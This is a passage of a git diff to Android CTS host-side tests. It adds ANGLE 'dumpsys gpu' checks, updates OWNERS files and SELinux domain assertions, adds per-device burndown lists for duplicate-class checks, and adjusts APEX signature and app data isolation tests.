+                "am start -W -a android.intent.action.MAIN -n %s/.%s", pkgName, className);
+        device.executeShellCommand(startCommand);
+    }
+
     static void stopPackage(ITestDevice device, String pkgName) throws Exception {
         device.executeShellCommand("am force-stop " + pkgName);
     }
@@ -126,4 +144,53 @@
     static void setProperty(ITestDevice device, String property, String value) throws Exception {
         device.executeShellCommand("setprop " + property + " " + value);
     }
+
+    /**
+     * Find and parse the `dumpsys gpu` output for the specified package.
+     *
+     * Sample output:
+     *      appPackageName = com.android.angleIntegrationTest.dumpsysGpuTest
+     *      driverVersionCode = 0
+     *      cpuVulkanInUse = 0
+     *      falsePrerotation = 0
+     *      gles1InUse = 0
+     *      angleInUse = 1
+     *      glDriverLoadingTime:
+     *      angleDriverLoadingTime:
+     *      vkDriverLoadingTime: 37390096
+     *
+     * @return angleInUse, -1 on error
+     */
+    static int getDumpsysGpuAngleInUse(ITestDevice device, String packageName) throws Exception {
+        String dumpSysGpu = device.executeShellCommand("dumpsys gpu");
+        String[] lines = dumpSysGpu.split("\n");
+
+        boolean foundPackage = false;
+        for (String s : lines) {
+            String line = s.trim();
+            if (!foundPackage && line.contains(packageName)) {
+                foundPackage = true;
+                continue;
+            }
+
+            if (foundPackage) {
+                if (line.contains("angleInUse")) {
+                    String[] tokens = line.split(" ");
+                    if (tokens.length != 3) {
+                        throw new IllegalArgumentException(
+                                "Malformed result: tokens.length = " + tokens.length);
+                    }
+
+                    return Integer.parseInt(tokens[2]);
+                } else if (line.contains("appPackageName")) {
+                    // We've moved to another block for a different package without finding the
+                    // 'angleInUse' field, so return an error.
+                    throw new IllegalArgumentException("Failed to find field: angleInUse");
+                }
+            }
+        }
+
+        // Didn't find the specified package, return an error.
+        return -1;
+    }
 }
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index a78f953..790db4d 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -37,7 +37,8 @@
 
     private static final String TAG = CtsAngleDeveloperOptionHostTest.class.getSimpleName();
 
-    private void setAndValidateAngleDevOptionPkgDriver(String pkgName, String driverValue) throws Exception {
+    private void setAndValidateAngleDevOptionPkgDriver(String pkgName, String driverValue)
+            throws Exception {
         CLog.logAndDisplay(LogLevel.INFO, "Updating Global.Settings: pkgName = '" +
                 pkgName + "', driverValue = '" + driverValue + "'");
 
@@ -57,7 +58,8 @@
                 driverValue, devOption);
     }
 
-    private void setAndValidatePkgDriver(String pkgName, OpenGlDriverChoice driver) throws Exception {
+    private void setAndValidatePkgDriver(String pkgName, OpenGlDriverChoice driver)
+            throws Exception {
         stopPackage(getDevice(), pkgName);
 
         setAndValidateAngleDevOptionPkgDriver(pkgName, sDriverGlobalSettingMap.get(driver));
@@ -70,12 +72,11 @@
     }
 
     private void installApp(String appName) throws Exception {
-        for (int i = 0; i < NUM_ATTEMPTS; i++)
-        {
+        for (int i = 0; i < NUM_ATTEMPTS; i++) {
             try {
                 installPackage(appName);
                 return;
-            } catch(Exception e) {
+            } catch (Exception e) {
                 Thread.sleep(REATTEMPT_SLEEP_MSEC);
             }
         }
@@ -287,7 +288,8 @@
                                 sDriverGlobalSettingMap.get(firstDriver));
 
                 CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
-                        firstDriver + ") with method '" + sDriverTestMethodMap.get(firstDriver) + "'");
+                        firstDriver + ") with method '" + sDriverTestMethodMap.get(firstDriver)
+                        + "'");
 
                 runDeviceTests(ANGLE_DRIVER_TEST_SEC_PKG,
                         ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
@@ -299,14 +301,16 @@
                                 sDriverGlobalSettingMap.get(secondDriver));
 
                 CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
-                        secondDriver + ") with method '" + sDriverTestMethodMap.get(secondDriver) + "'");
+                        secondDriver + ") with method '" + sDriverTestMethodMap.get(secondDriver)
+                        + "'");
 
                 runDeviceTests(ANGLE_DRIVER_TEST_SEC_PKG,
                         ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
                         sDriverTestMethodMap.get(secondDriver));
 
                 String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
-                String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
+                String devOptionValue = getGlobalSetting(getDevice(),
+                        SETTINGS_GLOBAL_DRIVER_VALUES);
                 CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
                         devOptionPkg + "', driver value = '" + devOptionValue + "'");
 
@@ -348,4 +352,48 @@
 
         testUseNativeDriver();
     }
+
+    /**
+     * Test that the `dumpsys gpu` correctly indicates `angleInUse = 1` when ANGLE is enabled.
+     */
+    @Test
+    public void testDumpsysAngleInWhenAngleEnabled() throws Exception {
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
+
+        installApp(ANGLE_DUMPSYS_GPU_TEST_APP);
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DUMPSYS_GPU_TEST_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
+
+        startActivity(getDevice(), ANGLE_DUMPSYS_GPU_TEST_PKG, ANGLE_DUMPSYS_GPU_TEST_CLASS);
+
+        int angleInUse = getDumpsysGpuAngleInUse(getDevice(), ANGLE_DUMPSYS_GPU_TEST_PKG);
+        Assert.assertEquals(
+                "'dumpsys gpu' for package '" + ANGLE_DUMPSYS_GPU_TEST_PKG
+                        + "' failed to indicate angle is in use: angleInUse = " + angleInUse,
+                1, angleInUse);
+    }
+
+    /**
+     * Test that the `dumpsys gpu` correctly indicates `angleInUse = 0` when ANGLE is disabled.
+     */
+    @Test
+    public void testDumpsysAngleInWhenAngleDisabled() throws Exception {
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
+
+        installApp(ANGLE_DUMPSYS_GPU_TEST_APP);
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DUMPSYS_GPU_TEST_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+        startActivity(getDevice(), ANGLE_DUMPSYS_GPU_TEST_PKG, ANGLE_DUMPSYS_GPU_TEST_CLASS);
+
+        int angleInUse = getDumpsysGpuAngleInUse(getDevice(), ANGLE_DUMPSYS_GPU_TEST_PKG);
+        Assert.assertEquals(
+                "'dumpsys gpu' for package '" + ANGLE_DUMPSYS_GPU_TEST_PKG
+                        + "' failed to indicate angle is not in use: angleInUse = " + angleInUse,
+                0, angleInUse);
+    }
 }
diff --git a/hostsidetests/appcompat/OWNERS b/hostsidetests/appcompat/OWNERS
index f5961d1..b1c6157 100644
--- a/hostsidetests/appcompat/OWNERS
+++ b/hostsidetests/appcompat/OWNERS
@@ -1,9 +1,4 @@
 # Bug component: 610774
+include tools/platform-compat:/OWNERS
 
-# Use this reviewer by default.
-platform-compat-eng+reviews@google.com
-
-andreionea@google.com
-mathewi@google.com
-satayev@google.com
 tomnatan@google.com
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
index 3c67292..4b7edc7 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
@@ -92,9 +92,7 @@
         try {
             startApp();
             Map<String, String> packageToDomain = getPackageToDomain();
-            // TODO(b/168782947): Update domain if/when an R specific one is created to
-            // differentiate from untrusted_app.
-            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app_30");
 
         } finally {
             resetCompatConfig(TEST_PKG, enabledChanges, disabledChanges);
@@ -108,7 +106,7 @@
             startApp();
             Map<String, String> packageToDomain = getPackageToDomain();
 
-            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app_30");
         } finally {
             uninstallPackage(TEST_PKG, true);
         }
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 7b8f736..ef1c220 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -93,7 +93,7 @@
     public void testOnlyAllowedlistedChangesAreOverridable() throws Exception {
         for (Change c : getOnDeviceCompatConfig()) {
             if (c.overridable) {
-                assertWithMessage("Please contact platform-compat-eng@google.com for approval")
+                assertWithMessage("Please contact compat-team@google.com for approval")
                         .that(OVERRIDABLE_CHANGES).contains(c.changeName);
             }
         }
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index fcb20e8..9ab8a83 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -33,6 +33,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-mainline-infra",
     ],
 }
diff --git a/hostsidetests/appcompat/strictjavapackages/OWNERS b/hostsidetests/appcompat/strictjavapackages/OWNERS
new file mode 100644
index 0000000..b8822fa
--- /dev/null
+++ b/hostsidetests/appcompat/strictjavapackages/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 819107
+
+mainline-modularization-rotation+reviews@google.com
+
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index b0df2bb..08b1277 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -26,6 +26,7 @@
 import android.compat.testing.Classpaths;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -86,10 +87,12 @@
                     "Landroid/annotation/CurrentTimeSecondsLong;",
                     "Landroid/annotation/DimenRes;",
                     "Landroid/annotation/Dimension;",
+                    "Landroid/annotation/Discouraged;",
                     "Landroid/annotation/DisplayContext;",
                     "Landroid/annotation/DrawableRes;",
                     "Landroid/annotation/DurationMillisLong;",
                     "Landroid/annotation/ElapsedRealtimeLong;",
+                    "Landroid/annotation/EnforcePermission;",
                     "Landroid/annotation/FloatRange;",
                     "Landroid/annotation/FontRes;",
                     "Landroid/annotation/FractionRes;",
@@ -143,6 +146,8 @@
                     "Landroid/gsi/IProgressCallback;",
                     "Landroid/gsi/MappedImage;",
                     "Landroid/gui/TouchOcclusionMode;",
+                    // TODO(b/227752875): contexthub V1 APIs can be removed
+                    // from T+ with the fix in aosp/2050305.
                     "Landroid/hardware/contexthub/V1_0/AsyncEventType;",
                     "Landroid/hardware/contexthub/V1_0/ContextHub;",
                     "Landroid/hardware/contexthub/V1_0/ContextHubMsg;",
@@ -191,9 +196,32 @@
                     "Landroid/os/IInputConstants;",
                     "Landroid/os/InputEventInjectionResult;",
                     "Landroid/os/InputEventInjectionSync;",
+                    "Landroid/os/ReconcileSdkDataArgs;",
                     "Lcom/android/internal/util/FrameworkStatsLog;"
             );
 
+    private static final String FEATURE_WEARABLE = "android.hardware.type.watch";
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+    private static final Set<String> WEAR_HIDL_OVERLAP_BURNDOWN_LIST =
+        ImmutableSet.of(
+            "Landroid/hidl/base/V1_0/DebugInfo$Architecture;",
+            "Landroid/hidl/base/V1_0/IBase;",
+            "Landroid/hidl/base/V1_0/IBase$Proxy;",
+            "Landroid/hidl/base/V1_0/IBase$Stub;",
+            "Landroid/hidl/base/V1_0/DebugInfo;",
+            "Landroid/hidl/safe_union/V1_0/Monostate;"
+        );
+
+    private static final Set<String> AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST =
+        ImmutableSet.of(
+            "Landroid/hidl/base/V1_0/DebugInfo$Architecture;",
+            "Landroid/hidl/base/V1_0/IBase;",
+            "Landroid/hidl/base/V1_0/IBase$Proxy;",
+            "Landroid/hidl/base/V1_0/IBase$Stub;",
+            "Landroid/hidl/base/V1_0/DebugInfo;"
+        );
+
     /**
      * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH.
      */
@@ -213,7 +241,19 @@
         assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         ImmutableList<String> jars =
                 Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH);
-        assertThat(getDuplicateClasses(jars)).isEmpty();
+        ImmutableSet<String> overlapBurndownList;
+        if (hasFeature(FEATURE_AUTOMOTIVE)) {
+            overlapBurndownList = ImmutableSet.copyOf(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST);
+        } else if (hasFeature(FEATURE_WEARABLE)) {
+            overlapBurndownList = ImmutableSet.copyOf(WEAR_HIDL_OVERLAP_BURNDOWN_LIST);
+        } else {
+            overlapBurndownList = ImmutableSet.of();
+        }
+        Multimap<String, String> duplicates = getDuplicateClasses(jars);
+        Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
+                duplicate -> !overlapBurndownList.contains(duplicate));
+
+        assertThat(filtered).isEmpty();
     }
 
     /**
@@ -226,10 +266,21 @@
         ImmutableList.Builder<String> jars = ImmutableList.builder();
         jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH));
         jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH));
-
+        ImmutableSet<String> overlapBurndownList;
+        if (hasFeature(FEATURE_AUTOMOTIVE)) {
+            overlapBurndownList = ImmutableSet.<String>builder()
+                    .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST)
+                    .addAll(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST).build();
+        } else if (hasFeature(FEATURE_WEARABLE)) {
+            overlapBurndownList = ImmutableSet.<String>builder()
+                    .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST)
+                    .addAll(WEAR_HIDL_OVERLAP_BURNDOWN_LIST).build();
+        } else {
+            overlapBurndownList = ImmutableSet.copyOf(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
+        }
         Multimap<String, String> duplicates = getDuplicateClasses(jars.build());
         Multimap<String, String> filtered = Multimaps.filterKeys(duplicates,
-                duplicate -> !BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST.contains(duplicate));
+                duplicate -> !overlapBurndownList.contains(duplicate));
 
         assertThat(filtered).isEmpty();
     }
@@ -313,4 +364,8 @@
 
         return duplicates;
     }
+
+    private boolean hasFeature(String featureName) throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand("pm list features").contains(featureName);
+    }
 }
diff --git a/hostsidetests/appsearch/OWNERS b/hostsidetests/appsearch/OWNERS
index f2060d9..5251329 100644
--- a/hostsidetests/appsearch/OWNERS
+++ b/hostsidetests/appsearch/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 755061
-include platform/frameworks/base:/apex/appsearch/OWNERS
+include platform/packages/modules/AppSearch:/OWNERS
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
deleted file mode 100644
index 4b1e9ac..0000000
--- a/hostsidetests/appsecurity/Android.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index e4d9d04..82aa6e6 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,41 +1,56 @@
 # Bug component: 533114
-toddke@google.com
+# Bug component: 36137 = per-file ApplicationVisibilityTest.java
+# Bug component: 36137 = per-file BaseInstallMultiple.java
+# Bug component: 568761 = per-file CorruptApkTests.java
+# Bug component: 36137 = per-file EphemeralTest.java
+# Bug component: 36137 = per-file InstantAppUserTest.java
+# Bug component: 36137 = per-file InstantCookieHostTest.java
+# Bug component: 36137 = per-file IsolatedSplitsTests.java
+# Bug component: 36137 = per-file MajorVersionTest.java
+# Bug component: 568631 = per-file OverlayHostTest.java
+# Bug component: 36137 = per-file Package*
+# Bug component: 36137 = per-file Pkg*
+# Bug component: 36137 = per-file PrivilegedUpdateTests.java
+# Bug component: 36137 = per-file SharedUserIdTest.java
+# Bug component: 36137 = per-file SplitTests.java
+
 patb@google.com
-per-file AccessSerialNumberTest.java = moltmann@google.com
+per-file AccessSerialNumberTest.java = ashfall@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
-per-file ApplicationVisibilityTest.java = toddke@google.com,patb@google.com
 per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
-per-file AppOpsTest.java = moltmann@google.com
+per-file AppOpsTest.java = ashfall@google.com
 per-file AppSecurityTests.java = cbrubaker@google.com
 per-file AuthBoundKeyTest.java = file:test-apps/AuthBoundKeyApp/OWNERS
-per-file BaseInstallMultiple.java = toddke@google.com,patb@google.com
-per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file EphemeralTest.java = toddke@google.com,patb@google.com
 per-file ExternalStorageHostTest.java = nandana@google.com
 per-file ExternalStorageHostTest.java = zezeozue@google.com
-per-file InstantAppUserTest.java = toddke@google.com,patb@google.com
-per-file InstantCookieHostTest.java = toddke@google.com,patb@google.com
-per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
 per-file KeySetHostTest.java = cbrubaker@google.com
 per-file ListeningPortsTest.java = cbrubaker@google.com
-per-file MajorVersionTest.java = toddke@google.com,patb@google.com
-per-file OverlayHostTest.java = rtmitchell@google.com
-per-file Package* = chiuwinson@google.com,patb@google.com,toddke@google.com
-per-file PermissionsHostTest.java = moltmann@google.com
-per-file Pkg* = chiuwinson@google.com,patb@google.com,toddke@google.com
+per-file PermissionsHostTest.java = ashfall@google.com
 per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
-per-file PrivilegedUpdateTests.java = toddke@google.com,patb@google.com
-per-file ReviewPermissionHelper = moltmann@google.com
-per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file SharedUserIdTest.java = toddke@google.com,patb@google.com
-per-file SplitTests.java = patb@google.com,toddke@google.com,patb@google.com
+per-file RequestsOnlyCalendarApp22.java = ashfall@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
+# Package Manager
+per-file ApplicationVisibilityTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file BaseInstallMultiple.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file EphemeralTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file InstantAppUserTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file InstantCookieHostTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file IsolatedSplitsTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file MajorVersionTest.java =  chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file PermissionsHostTest.java = ashfall@google.com
+per-file Pkg* = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file PrivilegedUpdateTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file SharedUserIdTest.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+per-file SplitTests.java = chiuwinson@google.com, patb@google.com, schfan@google.com
+# Resources
+per-file CorruptApkTests.java = patb@google.com, zyy@google.com
+per-file OverlayHostTest.java = patb@google.com, zyy@google.com
 # test apps
-per-file BasePermissionsTest.java = moltmann@google.com
-per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file ReviewPermissionHelper = moltmann@google.com
-per-file UsePermission*.java = moltmann@google.com
+per-file BasePermissionsTest.java = ashfall@google.com
+per-file RequestsOnlyCalendarApp22.java = ashfall@google.com
+per-file ReviewPermissionHelper = ashfall@google.com
+per-file UsePermission*.java = ashfall@google.com
 # CTS shim packages
 per-file CtsShim*.apk = dariofreni@google.com
 per-file CtsShim*.apk = ioffe@google.com
@@ -49,4 +64,4 @@
 per-file ScopedDirectoryAccessTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
 
 per-file *Documents* = file:platform/packages/apps/DocumentsUI:/OWNERS
-per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/Android.bp b/hostsidetests/appsecurity/certs/pkgsigverify/Android.bp
new file mode 100644
index 0000000..89e0925
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/Android.bp
@@ -0,0 +1,135 @@
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_app_certificate {
+    name: "dsa-1024",
+    certificate: "dsa-1024",
+}
+
+android_app_certificate {
+    name: "dsa-2048",
+    certificate: "dsa-2048",
+}
+
+android_app_certificate {
+    name: "dsa-3072",
+    certificate: "dsa-3072",
+}
+
+android_app_certificate {
+    name: "ec-p256",
+    certificate: "ec-p256",
+}
+
+android_app_certificate {
+    name: "ec-p256_2",
+    certificate: "ec-p256_2",
+}
+
+android_app_certificate {
+    name: "ec-p256_3",
+    certificate: "ec-p256_3",
+}
+
+android_app_certificate {
+    name: "ec-p256_4",
+    certificate: "ec-p256_4",
+}
+
+android_app_certificate {
+    name: "ec-p384",
+    certificate: "ec-p384",
+}
+
+android_app_certificate {
+    name: "ec-p521",
+    certificate: "ec-p521",
+}
+
+android_app_certificate {
+    name: "rsa-1024",
+    certificate: "rsa-1024",
+}
+
+android_app_certificate {
+    name: "rsa-16384",
+    certificate: "rsa-16384",
+}
+
+android_app_certificate {
+    name: "rsa-2048",
+    certificate: "rsa-2048",
+}
+
+android_app_certificate {
+    name: "rsa-3072",
+    certificate: "rsa-3072",
+}
+
+android_app_certificate {
+    name: "rsa-4096",
+    certificate: "rsa-4096",
+}
+
+android_app_certificate {
+    name: "rsa-8192",
+    certificate: "rsa-8192",
+}
+
+filegroup {
+    name: "ec-p256-por_1_2-default-caps",
+    srcs: [
+        "ec-p256-por_1_2-default-caps",
+    ],
+}
+
+filegroup {
+    name: "ec-p256-por_1_2-no-shUid-cap",
+    srcs: [
+        "ec-p256-por_1_2-no-shUid-cap",
+    ],
+}
+
+filegroup {
+    name: "ec-p256-por_1_2-no-perm-cap",
+    srcs: [
+        "ec-p256-por_1_2-no-perm-cap",
+    ],
+}
+
+filegroup {
+    name: "por_Y_1_2-default-caps",
+    srcs: [
+        "por_Y_1_2-default-caps",
+    ],
+}
+
+filegroup {
+    name: "por_Z_1_2-default-caps",
+    srcs: [
+        "por_Z_1_2-default-caps",
+    ],
+}
+
+filegroup {
+    name: "ec-p256-por-1_2_4-default-caps",
+    srcs: [
+        "ec-p256-por-1_2_4-default-caps",
+    ],
+}
+
+filegroup {
+    name: "ec-p256-por-1_2_3-no-caps",
+    srcs: [
+        "ec-p256-por-1_2_3-no-caps",
+    ],
+}
+
+filegroup {
+    name: "ec-p256-por-1_2_3-1-no-caps-2-default",
+    srcs: [
+        "ec-p256-por-1_2_3-1-no-caps-2-default",
+    ],
+}
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/OWNERS b/hostsidetests/appsecurity/certs/pkgsigverify/OWNERS
new file mode 100644
index 0000000..e5c7aa8
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+file:platform/frameworks/base:/core/java/android/util/apk/OWNERS
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/OWNERS b/hostsidetests/appsecurity/res/pkgsigverify/OWNERS
new file mode 100644
index 0000000..e5c7aa8
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+file:platform/frameworks/base:/core/java/android/util/apk/OWNERS
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
index e9ab634..b73c8d7 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
@@ -19,6 +19,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.platform.test.annotations.RestrictedBuildTest;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -190,10 +192,13 @@
         try {
             apexes = mDevice.getActiveApexes();
             for (ITestDevice.ApexInfo ap : apexes) {
-                mPreloadedApexPathMap.put(ap.name, ap.sourceDir);
+                if (!ap.sourceDir.startsWith("/data/")) {
+                    mPreloadedApexPathMap.put(ap.name, ap.sourceDir);
+                }
             }
 
-            assertThat(mPreloadedApexPathMap.size()).isAtLeast(0);
+            assumeTrue("No active APEX packages or all APEX packages have been already updated",
+                    mPreloadedApexPathMap.size() > 0);
         } catch (DeviceNotAvailableException e) {
             throw new AssertionError("getApexPackageList DeviceNotAvailableException" + e);
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index b872cf3..67fb73d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -76,9 +76,6 @@
     private static final String APPB_METHOD_CAN_NOT_ACCESS_APPA_DIR = "testCanNotAccessAppADataDir";
     private static final String APPB_METHOD_CAN_ACCESS_APPA_DIR = "testCanAccessAppADataDir";
 
-    private static final String FBE_MODE_NATIVE = "native";
-    private static final String FBE_MODE_EMULATED = "emulated";
-
     private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
     private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
     private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
@@ -221,17 +218,7 @@
             Thread.sleep(15000);
 
             // Follow DirectBootHostTest, reboot system into known state with keys ejected
-            if (isFbeModeEmulated()) {
-                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                if (res != null && res.contains("Emulation not supported")) {
-                    LogUtil.CLog.i("FBE emulation is not supported, skipping test");
-                    return;
-                }
-                getDevice().waitForDeviceNotAvailable(30000);
-                getDevice().waitForDeviceOnline(120000);
-            } else {
-                getDevice().rebootUntilOnline();
-            }
+            getDevice().rebootUntilOnline();
             waitForBootCompleted(getDevice());
 
             // Verify DE data is still readable and writeable, while CE and external data are not
@@ -268,13 +255,7 @@
                         "settings delete global require_password_to_decrypt");
             } finally {
                 // Get ourselves back into a known-good state
-                if (isFbeModeEmulated()) {
-                    getDevice().executeShellCommand("sm set-emulate-fbe false");
-                    getDevice().waitForDeviceNotAvailable(30000);
-                    getDevice().waitForDeviceOnline();
-                } else {
-                    getDevice().rebootUntilOnline();
-                }
+                getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
             }
         }
@@ -423,15 +404,4 @@
                 "getprop persist.sys.vold_app_data_isolation_enabled").trim(),
                 is("true"));
     }
-
-    private boolean isFbeModeEmulated() throws Exception {
-        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
-        if (mode.equals(FBE_MODE_EMULATED)) {
-            return true;
-        } else if (mode.equals(FBE_MODE_NATIVE)) {
-            return false;
-        }
-        fail("Unknown FBE mode: " + mode);
-        return false;
-    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index ab51c75..f3d58ee 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -26,8 +26,6 @@
